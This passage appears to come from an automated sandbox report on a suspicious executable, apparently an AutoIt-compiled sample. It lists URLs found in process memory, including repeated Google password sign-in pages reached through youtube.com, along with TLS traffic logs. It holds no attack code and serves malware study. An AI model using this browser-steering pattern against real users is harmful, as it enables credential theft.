Source: firefox.exe, 0000001A.00000002.2758063479.00000295E1B34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000002F.00000003.2874139972.000001B2AC26C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.certificate-transparency.org/what-is-ct
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1745417813.0000000005220000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2496628876.000000000556E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E03AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000002F.00000003.2938497653.000001B2B35CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.2941785370.000001B2B36A5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000003.2643634818.00000295E485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2644113137.00000295E4877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642933069.00000295E483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2641873724.00000295E4600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1716743431.0000000005259000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2460394802.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604696714.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2604874225.0000000005A58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/Trying
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2642258266.00000295E481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773454086.00000295E4FA0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0DE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0DDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2746482505.000000C46797C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2962807443.00000001084FB000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000002F.00000003.2944012113.000001B2B4F52000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1745063336.0000000005334000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2494825154.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E6613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/intervention-update-restart-confirmresource:///modules/UrlbarPre
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001C.00000002.2744774300.00000206DF3C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000021.00000002.2743870817.0000015C079CD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/DL
Source: file.exe, 00000000.00000003.1745063336.0000000005334000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2494825154.00000000057C4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2638220247.0000000005B65000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001A.00000002.2746482505.000000C46797C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2962807443.00000001084FB000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2740896048.000000C46067B000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0EAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751799520.00000295E04B7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/aInstanceID
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2EE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2751315941.00000295E0343000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E75000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001A.00000002.2768183436.00000295E45E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001A.00000002.2792669760.00000295E6CD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.2779235507.00000295E566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000021.00000002.2742540582.0000015C078E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 0000001C.00000002.2744438252.00000206DF2A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sigg
Source: firefox.exe, 0000002E.00000002.2847308036.000002241F2C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2973321640.000001B29B840000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2976602615.000001B29BC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2622988905.000002C5E2219000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2635273207.0000020F22B30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2748959786.00000295D49D9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.2847308036.000002241F2C7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2973321640.000001B29B840000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2764268499.00000295E22BF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2750483187.00000295D68A9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2750483187.00000295D68D6000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743871919.00000206DEFC0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744438252.00000206DF2A4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2741251870.0000015C07600000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2742540582.0000015C078E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000021.00000002.2741251870.0000015C0760A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdN
Source: firefox.exe, 0000001C.00000002.2743871919.00000206DEFC0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdT.
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdWhether
Source: firefox.exe, 00000021.00000002.2741251870.0000015C07600000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdZ
Source: firefox.exe, 0000002F.00000002.2976602615.000001B29BC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdc
Source: firefox.exe, 0000001A.00000002.2748959786.00000295D49D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdg
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4C03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdv
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/accountgWindowsWithUnloadHandler.panel-header
Source: firefox.exe, 0000001A.00000002.2807761956.000011E17DC00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comZ
Source: unknown Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50101 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50092 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50095 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50096 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50102 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
